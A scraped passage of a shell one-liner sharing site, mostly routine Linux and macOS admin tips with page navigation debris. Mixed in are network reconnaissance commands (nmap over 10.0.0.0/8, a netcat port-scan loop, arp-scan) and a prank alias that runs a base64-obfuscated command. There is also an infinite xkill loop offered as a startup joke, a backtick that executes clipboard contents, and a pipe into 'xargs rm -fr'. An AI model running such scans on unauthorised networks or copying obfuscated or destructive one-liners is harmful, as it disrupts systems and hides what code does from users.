""}'\'' say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }; sleep 3s && say "wake up, you bastard" awk -F ',' '{ x = x + $4 } END { print x }' test.csv Sum columns from CSV column $COL say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; } twistd -n web --path . Serve current directory tree at http://$HOSTNAME:8080/ gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf input1.pdf input2.pdf ... Merge PDFs into single file function manpdf() {man -t $1 | ps2pdf - - | epdfview -} Pretty man pages under X diff -rq dirA dirB Compare directories via diff http://hints.macworld.com/article.php?story=20070408062023352 seq -s* 10 |bc Functions: seq Calculate N! qrencode -o myqr.png 'MECARD:N:Lee,Chris;TEL:8881234567;EMAIL:chris.lee@somedomain.com;;' Create a QR code image in MECARD format Add the QR code image on your webpage, business card ., etc, so people can scan it and quick add to their Contact Address Book. Tested on iPhone with QRreader. read -sn 1 -p 'Press any key to continue...';echo mencoder "mf://*.png" -mf fps=2 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4 output.avi Compress a series of png pictures to an avi movie. cd /path/to/your/png_pics then you can get a movie named output.avi. find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \; find .txt files inside a directory and replace every occurrance of a word inside them via sed wget -r -A .pdf -l 5 -nH --no-parent http://example.com Get all files of particular type (say, PDF) listed on some wegpage (say, example.com) See man wget if you want linked files and not only those hosted on the website. find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \; Functions: bash find Recursively rename .JPG to .jpg using standard find and mv. It's generally better to use a standard tool if doing so is not much more difficult. ggg?G Functions: g++ ROT13 whole file in vim. gg puts the cursor at the begin g? ROT13 until the next mov G the EOF gpg --gen-random --armor 1 30 jb/F1GM9VvS1nd8Ip1NfgP6LAehj9ntTohxw9AXM Functions: gpg According to the gpg(1) manual: --gen-random 0|1|2 count Emit count random bytes of the given quality level 0, 1 or 2. If count is not given or zero, an endless sequence of random bytes will be emitted. If used with --armor the output will be base64 encoded. PLEASE, don't use this command unless you know what you are doing; it may remove precious entropy from the system! If your entropy pool is critical for various operations on your system, then using this command is not recommended to generate a secure password. With that said, regenerating entropy is as simple as: du -s / This is a quick way to generate a strong, base64 encoded, secure password of arbitrary length, using your entropy pool (example above shows a 30-character long password). sudo -l User raphink may run the following commands on this host: (ALL) ALL (ALL) NOPASSWD: /usr/bin/apt-get, /usr/bin/auto-get, /usr/bin/dpkg, /usr/bin/dselect, /usr/sbin/dpkg-reconfigure (root) NOPASSWD: /usr/sbin/pbuilder List your sudo rights List the commands you have the right to use with sudo. while true; do xkill -button any; done Killing processes with your mouse in an infinite loop Useful for quickly cleaning your Desktop. Nice joke if launched at startup. ‹ First < 41 42 43 44 45 > Last › apt-cache dotty apache2 | dot -T png | display Functions: apt dot Generate a graph of package dependencies Requires: imagemagick and graphviz On Debian systems, displays a graph of package dependencies. Works also with other image formats, like svg : apt-cache dotty bash | dot -T svg | display git log --format='%aN' | sort -u List all authors of a particular git project This should work even if the output format changes. echo -e "Terminal shortcut keys\n" && sed -e 's/\^/Ctrl+/g;s/M-/Shift+/g' <(stty -a 2>&1| sed -e 's/;/\n/g' | grep "\^" | tr -d ' ') Terminal shortcut keys intr=Ctrl+C quit=Ctrl+\ erase=Ctrl+? kill=Ctrl+U eof=Ctrl+D eol=Shift+Ctrl+? eol2=Shift+Ctrl+? swtch=Shift+Ctrl+? start=Ctrl+Q stop=Ctrl+S susp=Ctrl+Z rprnt=Ctrl+R werase=Ctrl+W lnext=Ctrl+V flush=Ctrl+O Functions: echo grep sed stty tr Terminal Keyboard Shortcut list This command will give you a list of available keyboard shortcuts according to stty. watch -n 10 killall -USR1 dd Functions: killall watch check the status of 'dd' in progress fuser -k <port> fuser -k 80/tcp One liner to kill a process when knowing only the port where the process is running -k (kill option ) . To kill all processes accessing this port dd if=/dev/nst0 |pv|dd of=restored_file.tar 66.5MB 0:00:23 [2.78MB/s] [ <=> ] dd with progress bar piping through 'pv' shows a simple progress/speed bar for dd. This is a replacement for my otherwise favorite 'while :;do killall -USR1 dd;sleep 1;done' telnet bofh.jeffballard.us 666 get bofh excuse from a trusted source :-) chmod 644 $(find . -type f) Apply permissions only to files To apply only to dirs: chmod 755 $(find . -type d) Use -R parameters for recursive walk. set -eu $ cat safe-cacheclean.sh set -eu CACHEDIR=mycache # a dangerous-looking typo, is /bin going to disappear: rm -rf "$CACHEDI/bin" $ ./safe-cacheclean.sh ./safe-cacheclean.sh: line 7: CACHEDI: unbound variable Robust expansion (i.e. crash) of bash variables with a typo By default bash expands an unbound variable to an empty string. This can be dangerous, if a critical variable name (a path prefix for example) has a typo. The -u option causes bash to treat this as an error, and the -e option causes it to exit in case of an error. These two together will make your scripts a lot safer against typos. The default behaviour can be explicitly requested using the ${NAME:-} syntax. A (less explicit) variation: #!/bin/bash -eu ls *(.x) List just the executable files (or directories) in current directory With zsh. grep -r --include="*.[ch]" pattern . grep certain file types recursively doesn't do case-insensitive filenames like iname but otherwise likely to be faster alias rot13="tr a-zA-Z n-za-mN-ZA-M" ROT13 using the tr command eject /dev/sdb; sleep 1; eject -t /dev/sdb Functions: eject sleep Remount a usb disk in Gnome without physically removing and reinserting Remounts a usb disk /dev/sdb, without having to physically remove and reinsert. (Gnome desktop) find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n' $ find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n' | sort -rgbS 50% $ find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n' Advanced LS Output using Find for Formatted/Sortable File Stat info I love this function because it tells me everything I want to know about files, more than stat, more than ls. It's very useful and infinitely expandable. find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n' | sort -rgbS 50% The key is: # -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n' which believe it or not took me hundreds of tweaking before I was happy with the output. You can easily use this within a function to do whatever you want.. This simple function works recursively if you call it with -r as an argument, and sorts by file permissions. lsl(){ O="-maxdepth 1";sed -n '/-r/!Q1'<<<$@ &&O=;find $PWD $O -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n'|sort -rgbS 50%; } Personally I'm using this function because: lll () { local a KS="1 -r -g"; sed -n '/-sort=/!Q1' <<< $@ && KS=`sed 's/.*-sort=\(.*\)/\1/g'<<<$@`; find $PWD -maxdepth 1 -printf '%.5m %10M %#9u:%-9g %#5U:%-5G [%AD | %TD | %CD] [%Y] %p\n'|sort -k$KS -bS 50%; } # i can sort by user lll -sort=3 # or sort by group reversed lll -sort=4 -r # and sort by modification time lll -sort=6 If anyone wants to help me make this function handle multiple dirs/files like ls, go for it and I would appreciate it.. Something very minimal would be awesome.. maybe like: for a; do lll $a; done Note this uses the latest version of GNU find built from source, easy to build from gnu ftp tarball. Taken from my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html ctrl + \ skip broken piece of a loop but not exit the loop entirely useful for loops like for i in $(cat list_of_servers); do ssh -q $i hostname; done if there is an unreachable server, you can just press ctrl + \ to skip that server and continue on with the loop pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf Merge Two or More PDFs into a New Document require the pdftk package apt-file find bin/programname nick@mylaptop:~$ apt-file search bin/kdialog kdebase-bin: /usr/bin/kdialog kdebase-dbg: /usr/lib/debug/usr/bin/kdialog Functions: apt find search ubuntu packages to find which package contains the executable program programname search ubuntu's remote package source repositories for a specific program to see which package contains it dlocate /path/to/file Works similar to dpkg -S, but uses the locatedb and is thus inarguably a lot faster - if the locatedb is current. unset TMOUT Prevent shell autologout Unset TMOUT or set it to 0 in order to prevent shell autologout. TMOUT is the number of seconds after which the present shell will be killed if it has been idle for that long. ls /var/lib/dpkg/info/*.list -lht |less Find the dates your debian/ubuntu packages were installed. Find when debian packages were installed on a system. nmap -A -p1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000 --initial-rtt-timeout 300 --max-retries 3 --host-timeout 20m --max-scan-delay 1000 -oA wapscan 10.0.0.0/8 Outputs data in greppable format, plain text and XML. The XML output has an associated XSL stylesheet, which allows you to open the data in a browser. Scan Network for Rogue APs. I've used this scan to sucessfully find many rogue APs on a very, very large network. wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv 2009-08-31 13:32:51 URL:http://en.wikipedia.org/wiki/Linux [267946/267946] -> "-" [1] 2009-08-31 13:32:51 URL:http://upload.wikimedia.org/wikipedia/commons/thumb/0/04/Sharp_Zaurus.jpg/180px-Sharp_Zaurus.jpg [7184/7184] -> "180px-Sharp_Zaurus.jpg" [1] 2009-08-31 13:32:51 URL:http://upload.wikimedia.org/wikipedia/commons/thumb/c/c7/Roadrunner_supercomputer_HiRes.jpg/180px-Roadrunner_supercomputer_HiRes.jpg [7670/7670] -> "180px-Roadrunner_supercomputer_HiRes.jpg" [1] 2009-08-31 13:32:51 URL:http://upload.wikimedia.org/wikipedia/commons/thumb/e/ea/Server_Linux.jpg/180px-Server_Linux.jpg [11564/11564] -> "180px-Server_Linux.jpg" [1] Functions: egrep wget xargs Parallel file downloading with wget xargs can be used in this manner to download multiple files at a time, and xargs will in this case run 10 processes at a time and initiate a new one when the number running falls below 10. apt-get moo Functions: apt ubuntu easter eggs tar cpfP - $(find <somedir> -type f -name *.png) | ssh user@host | tar xpfP - Functions: find ssh tar Copy specific files to another machine, keeping the file hierarchy * Adjust the find command to your own filters. * The -P flag forces to keep absolute paths in the tarball, so that you can be sure that the exact same file hierarchy will be created on the second machine. !:n % echo !:1 echo a 'n' is a non-negative integer. Using 0 will expand to the name of the previous command. ‹ First < 42 43 44 45 46 > Last › ( cd SOURCEDIR && tar cf - . ) | (cd DESTDIR && tar xvpf - ) Functions: cd tar Move files around local filesystem with tar without wasting space using an intermediate tarball. find public_html/stuff -type d -exec chmod 755 {} + -or -type f -exec chmod 644 {} + recursive reset file/dir perms Good for fixing web permissions. You might also want to do something like this and skip files or directories that begin with a period: find public_html/stuff -not -name ".*" \( -type d -exec chmod 755 {} + -o -type f -exec chmod 644 {} + \) ...or include a special case for scripts: find public_html/stuff -type d -exec chmod 755 {} + -or -type f -name "*.pl" -exec chmod 755 {} + -or -exec chmod 644 {} + net rpc -I indirizzoip -U nomeutente%password servizio {stop|start} nomedelservizio To Stop or Start (Restart) a Windows service from a Linux machine for h in host1 host2 host3 host4 ; { scp file user@$h:/destination_path/ ; } Functions: file scp Copy something to multiple SSH hosts with a Bash loop Just a quick and simple one to demonstrate Bash For loop. Copies 'file' to multiple ssh hosts. cat VTS_05_1.VOB VTS_05_2.VOB VTS_05_3.VOB VTS_05_4.VOB > mergedmovie.mpg merge vob files to mpg vditool COPYDD my.vdi my.dd ; sudo mount -t ntfs -o ro,noatime,noexex,loop,offset=32256 my.dd ./my_dir Extract dd-image from VirtualBox VDI container and mount it Tested with NTFS and found on this site: http://forensicir.blogspot.com/2008/01/virtualbox-and-forensics-tools.html The first 32256 bytes is the MBR mplayer http://minnesota.publicradio.org/tools/play/streams/the_current.pls < /dev/null | grep --line-buffered "StreamTitle='.*S" -o | grep --line-buffered "'.*'" -o > mus & tail -n0 -f mus | while read line; do notify-send "Music Change" "$line";done Functions: grep read tail Play 89.3 @TheCurrent and get system notifications on song changes. Plays the mp3 stream of The Current as a background job. When you are done run: fg %1 then to exit Quite possible with Growl for mac I'd guess, although have not tried. Libnotify needed for notification, stream will still work otherwise alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d) Command for JOHN CONS Would create a file with a meaningful title. Dedicated to John Cons, who is annoying us users. Merry Christmas!!! shuf -n1 -e * Music Selecting a random file/folder of a folder I used only shuf command. find -type l -xtype d Find all symlinks that link to directories ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com Functions: awk ifconfig mail sends your internal IP by email This is useful if you have need to do port forwarding and your router doesn't assign static IPs, you can add it to a script in a cron job that checks if you IP as recently changed or with a trigger script. This was tested on Mac OSX. find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/ Functions: find rsync rsync + find use find with rsync export TMOUT=10 Sets shell timeout Useful in root's .profile - will auto-logout after TMOUT seconds of inactivity. Close after `seconds` inactive. export TMOUT=seconds (unefunge) ls |tee >(grep xxx |wc >xxx.count) >(grep yyy |wc >yyy.count) |grep zzz |wc >zzz.count Functions: grep ls tee wc direct a single stream of input (ls) to multiple readers (grep & wc) without using temporary files vim -p file1 file2 ... VIM version 7: edit in tabs Edit the files, each in a separate tab. use gT and gt to move to the left- and right-tab, respectively. to add another tab while editing, type ':tabe filename' albumart(){ local y="$@";awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music');} user@lappy:~$ albumart moby play http://ecx.images-amazon.com/images/I/5107XD8268L.jpg Find the cover image for an album This bash function uses albumart.org to find the cover for an album. It returns an amazon.com url to the image. Usage: albumart [artist] [album] These arguments can be reversed and if the album name is distinct enough, it may be possible to omit the artist. The command can be extended with wget to automatically download the matching image like this: albumart(){ local x y="$@";x=$(awk '/View larger image/{gsub(/^.*largeImagePopup\(.|., .*$/,"");print;exit}' <(curl -s 'http://www.albumart.org/index.php?srchkey='${y// /+}'&itempage=1&newsearch=1&searchindex=Music'));[ -z "$x" ]&&echo "Not found."||wget "$x" -O "${y}.${x##*.}";} touch --date "2010-01-05" /tmp/filename Change/Modify timestamp `pbpaste` | pbcopy abd-pb-2:~ andrew$ str="ls -l -G" #assign a command to str abd-pb-2:~ andrew$ echo $str #show that it is there ls -l -G abd-pb-2:~ andrew$ echo $str | pbcopy #put that command on the clipboard abd-pb-2:~ andrew$ `pbpaste` | pbcopy #execute the command and put output on clipboard # command on clipboard could come from any source... Execute text from the OS X clipboard. The backtick operator, in general, will execute the text inside the backticks. On OS X, the pbpaste command will put the contents of the OS X clipboard to STDOUT. So if you put backticks around pbpaste, the text from the OS X clipboard is executed. If you add the pipeline | pbcopy, the output from executing the command on the clipboard is placed back on the clipboard. Note: make sure the clipboard is text only. LC_ALL=C tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]" Solves "tr" issues with non C-locales under BSD-like systems (like OS X) dumpe2fs -h /dev/DEVICE | grep 'created' gnu@robby:~$ sudo dumpe2fs -h /dev/sda1 | grep 'created' [sudo] password for gnu: dumpe2fs 1.41.4 (27-Jan-2009) Filesystem created: Wed Oct 14 16:56:35 2009 Functions: dumpe2fs grep Show when filesystem was created Knowing when a filesystem is created , you can deduce when an operating system was installed . find filesystem device (/dev/) informations by using the cat /etc/fstab command. vim -o file1 file2... Open files in a split windowed Vim -o acts like :spit. Use -O (capital o) for side-by-side like :vsplit. Use vim -d or vimdiff if you need a diff(1) comparison. To split gnu Screen instead of vim, use ^A S for horizontal, ^A | for vertical. xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd jack@jack-pc$ xprop | awk '/PID/ {print $3}' | xargs ps -p 8025 /usr/lib/firefox-3.0.13/firefox Functions: awk ps xargs Click on a GUI window and show its process ID and command used to run the process This command is useful when you want to know what process is responsible for a certain GUI application and what command you need to issue to launch it in terminal. cpan -r xmodmap -e 'clear Lock' -e 'keycode 0x42 = Escape' remap Caps_Lock to Escape mkisofs -o XYZ.iso XYZ/ gnu@robby:~/Bureau$ mkisofs -o driver.iso driver/ I: -input-charset not specified, using utf-8 (detected in locale settings) Total translation table size: 0 Total rockridge attributes bytes: 0 Total directory bytes: 8436 Path table size(bytes): 68 Max brk space used 0 343 extents written (0 MB) create iso image from a directory create iso image from directory . Usefull for virtualised machine To create CD ISO image of directories that contain long file name or non-8.3 format (particularly if you want to burn the CD image for use in Windows system), use the -J option switch that generates Joliet directory records in addition to regular iso9660 file names. For example, to create CD image of Vista SP1 directory: mkisofs -o VitaSP1.iso -J VistaSP1 ‹ First < 43 44 45 46 47 > Last › tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5` 2> /dev/null | xargs rm -fr ; backup and remove files with access time older than 5 days. create an archive of files with access time older than 5 days, and remove original files. man -t man | ps2pdf - > man.pdf Save man pages to pdf rtmpdump -v -r rtmp://livestfslivefs.fplive.net/livestfslive-live/ -y "aljazeera_en_veryhigh" -a "aljazeeraflashlive-live" -o -| mplayer - Watch Aljazeera live txt2regex $ txt2regex --make date --prog vi,perl ### date LEVEL 1: mm/dd/yyyy: matches from 00/00/0000 to 99/99/9999 RegEx vi : [0-9]\{2\}/[0-9]\{2\}/[0-9]\{4\} RegEx perl: [0-9]{2}/[0-9]{2}/[0-9]{4} Interactively build regular expressions txt2regex can be interactive or noninteractive and generates regular expressions for a variety of dialects based on user input. In interactive mode, the regex string builds as you select menu options. The sample output here is from noninteractive mode, try running it standalone and see for yourself. It's written in bash and is available as the 'txt2regex' package at least under debian/ubuntu. du -xk | sort -n | tail -20 Functions: du sort tail Find the 20 biggest directories on the current filesystem This command will tell you the 20 biggest directories starting from your working directory and skips directories on other filesystems. Useful for resolving disk space issues. eject -x 4 Functions: eject echo $((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)) Perl One Liner to Generate a Random IP Address A bash version. du -k | sort -r -n | more List the largest directories & subdirectoties in the current directory sorted from largest to smallest. echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}' Functions: awk echo sed show ls colors with demo This can show all ls colors, with a demo. COL=$(( $(tput cols) / 2 )); clear; tput setaf 2; while :; do tput cup $((RANDOM%COL)) $((RANDOM%COL)); printf "%$((RANDOM%COL))s" $((RANDOM%2)); done Functions: printf tput 6 Another Matrix Style Implementation ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i - Functions: ssh tcpdump When using tcpdump, specify -U option to prevent buffering. sudo lsof -rc command >> /tmp/command.txt sudo lsof -rc httpd >> /tmp/FILE Functions: command sudo View files opened by a program on startup and shutdown Run this before you run a command in order to see what the command does as it starts. The -c flag is useful here as the PID is unknown before startup. All config files, libraries, logs, ports, etc used by the command as it starts up, (and shuts down) will be captured at 1s intervals and written to a file. Useful for debugging etc. param=${param:-$(read -p "Enter parameter: "; echo "$REPLY")} Enter parameter if empty (script becomes interactive when parameters are missing) Can be used for command line parameters too. If you have a more complicated way of entering values (validation, GUI, ...), then write a function i.e. EnterValue() that echoes the value and then you can write: param=${param:-$(EnterValue)} find / -name "*.pdf" -exec cp -t ~/Documents/PDF {} + Functions: cp find Copy all documents PDF in disk for your home directory I used this to copy all PDFs recursively to a selected dir rsync -av --progress ./file.txt user@host:/path/to/dir rsync with progress bar. transfer files from localhost to a remotehost. nohup /bin/sh myscript.sh 1>&2 &>/dev/null 1>&2 &>/dev/null& Functions: nohup Silently Execute a Shell Script that runs in the background and won't die on HUP/logout This command runs your shell script in the background with no output of any kind, and it will remain running even after you logout. curl -n -d status='Hello from cli' https://twitter.com/statuses/update.xml You 'll need to put a line "machine twitter.com login TWITTERUSER password TWITTERPASS" in $HOME/.netrc and better chmod 600 that file. ssh -f -L3307:127.0.0.1:3306 -N -t -x user@host sleep 600 ; mk-table-sync --execute --verbose u=root,p=xxx,h=127.0.0.1,P=3307 u=root,p=xxx,h=localhost Functions: sleep ssh Sync MySQL Servers via secure SSH-tunnel I wanted to keep a backup of my company database server on my local homeserver. After I found maatkit to sync databases, everything except security seemed fine. SSH takes care of that part. du | sort -gr > file_sizes 712 . 328 ./test 176 ./lib 144 ./doc 100 ./test/data 96 ./lib/rake 64 ./doc/release_notes Outputs a sorted list of disk usage to a text file Recursively searches current directory and outputs sorted list of each directory's disk usage to a text file. (echo "set terminal png;plot '-' u 1:2 t 'cpu' w linespoints;"; sudo vmstat 2 10 | awk 'NR > 2 {print NR, $13}') | gnuplot > plot.png Functions: awk echo sudo vmstat Visualizing system performance data sudo arp-scan -l 6 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.6: 256 hosts scanned in 2.245 seconds (114.03 hosts/sec). 6 responded ARP Scan A much quicker and (not dirtier) option. use the man page for help. On linux/ubuntu you will need to `sudo apt-get -y install arp-scan`. find . -name .svn -prune -o -print Skip over .svn directories when using the Put the positive clauses after the '-o' option. printf "%s\n" ${PATH//:/\/* } List all available commands (bash, ksh93) \ls directory listing generated by unaliased command (/bin/ls in this case) temporarily override alias of any command say, someone has aliased ls to 'ls --color=always' and you want to temporarily override the alias (it does not override functions) curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av /tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website Functions: rsync umount backup and synchronize entire remote folder locally (curlftpfs and rsync over FTP using FUSE FS) connect to a remote server using ftp protocol over FUSE file system, then rsync the remote folder to a local one and then unmount the remote ftp server (FUSE FS) it can be divided to 3 different commands and you should have curlftpfs and rsync installed ‹ First < 44 45 46 47 48 > Last › sudo chattr -R +i dirname -R Recursively change attributes of directories and their contents. +i to set the immutable bit to prevent even root from erasing or changing the contents of a file. Rank top 10 most frequently used commands dd if=/dev/sda5 bs=2048 conv=noerror,sync | gzip -fc | lftp -u user,passwd domain.tld -e "put /dev/stdin -o backup-$(date +%Y%m%d%H%M).gz; quit" Functions: dd gzip lftp Backup sda5 partition to ftp ( using pipes and gziped backup ) dd if=/dev/cdrom of=whatever.iso How to copy CD/DVD into hard disk (.iso) A dear friend of mine asked me how do I copy a DVD to your hard drive? If you want to make a copy of the ISO image that was burned to a CD or DVD, insert that medium into your CD/DVD drive and (assuming /dev/cdrom is associated with your computer?s CD drive) type the following command locate -S Database /var/lib/mlocate/mlocate.db: Functions: locate Get a brief overview of how many files and directories are installed To start, you first need to make sure updatedb has been run/updatedb, and initialized the db: su -l root -c updatedb This locate command is provided through the mlocate package, installed by default on most GNU/Linux distributions. It's available on the BSDs as well. Not sure about support for proprietary UNIX systems. The output is self-explanatory- it provides an overview of how many directories and files are on your system. yum localinstall /path/to/package.rpm Install a local RPM package from your desktop, then use the YUM repository to resolve its dependencies. When downloading RPMs from the Internet, you don't have to 'rpm -i' or 'rpm -U' to install the package. Especially, if the package has dependencies. If you have YUM setup to access an RPM repository, this command will install the downloaded package, then any dependencies through YUM that it relies on. Very handy on RPM-based systems. shuf -i 1-49 | head -n6 | sort -n| xargs Functions: head sort note the xargs at the end nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg nmap IP block and autogenerate comprehensive Nagios service checks More info here: http://nagioswiki.com/wiki/index.php/Autocreating_Nagios_Configuration_with_Nmap_and_Nmap2Nagios.pl svn log -r {`date "+%Y-%m-%d"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c Functions: cut grep uniq Show top committers for SVN repositority for today pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/ Get pages number of the pdf file ssh -t user@host screen -x <screen name> ssh and attach to a screen in one line. If you know the benefits of screen, then this might come in handy for you. Instead of ssh'ing into a machine and then running a screen command, this can all be done on one line instead. Just have the person on the machine your ssh'ing into run something like screen -S debug Then you would run ssh -t user@host screen -x debug and be attached to the same screen session. find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1 Functions: find perl printf tail xargs Get the total length of all video / audio in the current dir (and below) in H:m:s change the *.avi to whatever you want to match, you can remove it altogether if you want to check all files. xset led 3 Turn On/Off Keyboard LEDs via commandline Usefull as a light blink to remember events, mails, intrusions, etc... yet another output Since nobody ever uses the scroll lock function... Usefull to interface a linux system with some hardware, for example, opto interfacing the keyboard led to a relay to remotely reset, etc. ( a simple LDR glued over the LED will do the trick ) xset led 3 turns on the third led, ie, Scroll lock xset -led 3 turns it off xset led 1 turns on Numerical Lock led ( doesn t work on all computer ) xset led 2 turns on Caps Lock led ( idem ) Using it as a reset watchdog, the relay expected light pulses. Shall the computer hangs, the relay releases and reset the machine ( discharge of a capacitor ) ;-) lshw -short # lshw -short H/W path Device Class Description ======================================================= /0 bus Motherboard /0/400 processor Intel(R) Xeon(TM) CPU 3.80GHz /0/400/720 memory 2MiB L2 cache /0/400/730 memory L3 cache /0/400/7.1 processor Logical CPU /0/400/7.2 processor Logical CPU /0/406 processor Intel(R) Xeon(TM) CPU 3.80GHz /0/406/726 memory 2MiB L2 cache /0/406/736 memory L3 cache /0/406/7.1 processor Logical CPU /0/406/7.2 processor Logical CPU /0/1000/0 memory 2GiB DIMM DDR Synchronous 400 MHz (2 /0/1000/1 memory 2GiB DIMM DDR Synchronous 400 MHz (2 /0/1000/2 memory 2GiB DIMM DDR Synchronous 400 MHz (2 /0/1000/3 memory 2GiB DIMM DDR Synchronous 400 MHz (2 /0/1000/4 memory 1GiB DIMM DDR Synchronous 400 MHz (2 /0/1000/5 memory 1GiB DIMM DDR Synchronous 400 MHz (2 /0/100 bridge E7520 Memory Controller Hub /0/100/2 bridge E7525/E7520/E7320 PCI Express Port A /0/100/2/0/1 eth0 network NetXtreme BCM5704 Gigabit Ethernet /0/100/2/0/1.1 eth1 network NetXtreme BCM5704 Gigabit Ethernet /0/100/2/0.2/3 storage Smart Array 64xx /0/100/6 bridge E7520 PCI Express Port C /0/100/6/0/1 bridge PI7C21P100 PCI to PCI Bridge /0/100/6/0/2 scsi0 bus ISP2312-based 2Gb Fibre Channel to P /0/100/6/0/2/0.0.0 generic SCSI /0/100/6/0/2/0.1.0 generic SCSI /0/100/6/0/2/0.2.0 generic SCSI /0/100/6/0/2/0.3.0 generic SCSI /0/100/6/0/2/0.4.0 generic SCSI /0/100/6/0/2/0.5.0 generic SCSI /0/100/6/0/2/0.8.0 generic SCSI /0/100/6/0/2/0.a.0 generic SCSI /0/100/6/0/2/0.b.0 generic SCSI /0/100/6/0/2/0.c.0 generic SCSI /0/100/6/0/2/0.6.0 generic SCSI /0/100/6/0.2/1 scsi3 bus ISP2312-based 2Gb Fibre Channel to P /0/100/6/0.2/1/0.1.0 generic SCSI /0/100/6/0.2/1/0.2.0 generic SCSI /0/100/6/0.2/1/0.3.0 generic SCSI /0/100/6/0.2/1/0.4.0 generic SCSI /0/100/6/0.2/1/0.5.0 generic SCSI /0/100/6/0.2/1/0.6.0 generic SCSI /0/100/6/0.2/1/0.8.0 generic SCSI /0/100/6/0.2/1/0.9.0 generic SCSI /0/100/6/0.2/1/0.a.0 generic SCSI /0/100/6/0.2/1/0.b.0 generic SCSI /0/100/6/0.2/1/0.7.0 generic SCSI /0/100/6/0.2/1/0.c.0 generic SCSI /0/100/1e/3 display Rage XL /0/100/1e/4 system Integrated Lights Out Controller /0/100/1e/4.2 system Integrated Lights Out Processor Show 'Hardware path'-style tree of all devices in Linux :%s/\s\+$// Remove trailing space in vi rsync -a /etc /destination Real full backup copy of /etc folder Yes, rsync(1) supports local directories. And, should anything change, it's trivial to run the command again, and grab only the changes, instead of the full directory. ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up" buttons "It?s about time" default button 1' Alert on Mac when server is up When run on a mac, this command will bring up a dialog box in the Terminal when server HOSTNAME first responds to a ping. comm -1 -2 <(sort file1) <(sort file2) Functions: comm sort show lines that appear in both file1 and file2 grep -i "$(date +%b\ %d\ %H)" syslog May 23 18:10:01 tortatil /USR/SBIN/CRON[7620]: (root) CMD (if [ -x /usr/bin/mrtg ] May 23 18:10:02 laptop sSMTP[7624]: Unable to locate mail May 23 18:10:02 laptop sSMTP[7624]: Cannot open mail:25 May 23 18:10:02 laptop /USR/SBIN/CRON[7616]: (root) MAIL (mailed 1 byte of output; but got status 0x000 Grep syslog today last hour Uses date to grep de logfile for today and uses it to get the last hour logs. Can be used to get last minute logs or today's logs. <ESC> # #ls LONG_PATH_YOU_DONT_REMEMBER Comment current line This should work with different locales. Another post reports grep -i "$(date +%b" "%d )13:4[0-5]" syslog May 23 13:45:01 tortatil /USR/SBIN/CRON[22944]: (root) CMD (pidof cpulimit || cpulimit -z -p `pidof amule` -l 24 &) May 23 13:45:01 tortatil /USR/SBIN/CRON[22947]: (root) CMD (if [ -x /usr/bin/mrtg ] && [ -r /etc/mrtg.cfg ]; then mkdir -p /var/log/mrtg ; env LANG=C /usr/bin/mrtg /etc/mrtg.cfg 2>&1 | tee -a /var/log/mrtg/mrtg.log ; fi Grep log between range of minutes Returns logs between HH:M[Mx-My], for example, between 13:40 and 13:45. for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done (UNKNOWN) [192.168.0.21] 443 (?) : Connection refused (UNKNOWN) [192.168.0.22] 443 (?) open (UNKNOWN) [192.168.0.23] 443 (?) : Connection refused (UNKNOWN) [192.168.0.24] 443 (?) open Port scan a range of hosts with Netcat. Simple one-liner for scanning a range of hosts, you can also scan a range of ports with Netcat by ex.: nc -v 